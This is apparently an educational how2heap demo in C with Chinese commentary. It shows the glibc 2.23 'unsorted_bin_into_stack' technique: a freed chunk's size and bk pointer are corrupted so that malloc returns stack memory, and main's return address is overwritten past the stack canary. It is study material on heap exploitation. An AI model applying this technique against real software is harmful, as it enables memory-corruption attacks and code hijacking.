#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
// 从 unsorted bin 的 bk 去找合适的
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
fprintf(stderr, "先申请 victim chunk\n");
intptr_t* victim = malloc(0x100);
fprintf(stderr, "再申请一块防止与 top chunk 合并\n");
intptr_t* p1 = malloc(0x100);
fprintf(stderr, "把 %p 这块给释放掉, 会被放进 unsorted bin 中\n", victim);
free(victim);
fprintf(stderr, "在栈上伪造一个 chunk");
fprintf(stderr, "设置 size 与指向可写地址的 bk 指针");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
fprintf(stderr, "假设有一个漏洞可以覆盖 victim 的 size 和 bk 指针\n");
fprintf(stderr, "大小应与下一个请求大小不同,以返回 fake chunk 而不是这个,并且需要通过检查(2*SIZE_SZ 到 av->system_mem)\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
fprintf(stderr, "现在 malloc 的时候将会返回构造的那个 fake chunk 那里: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
fprintf(stderr, "malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
unsorted_bin_into_stack
和 unsorted_bin_attack
利用场景不一样,unsorted_bin_into_stack
反而好理解一些
unsorted_bin_attack
修改特定位置的内存为一个很大的值unsorted_bin_into_stack
将栈上的空间作为chunk进行分配
通过how2heap-2.23-05-unsorted_bin_attack知道:
在上面的图中,victim chunk是最旧的chunk,所以会先找到这个chunk查看大小是否合适,由于size被修改为0x20,被脱链,放入到small bin中
由于victim bk指向stack_buffer,stack_buffer也会被认为是unsorted bin链中的chunk
stack_buffer chunk的size被修改为0x110,符合malloc(0x100)的大小,脱链,作为可用的chunk分配出来
现在就可以写这个stack_buffer chunk了
最后的两行,就是使用这个这个stack_buffer chunk,往栈中的main的返回地址处写入jackpot函数的地址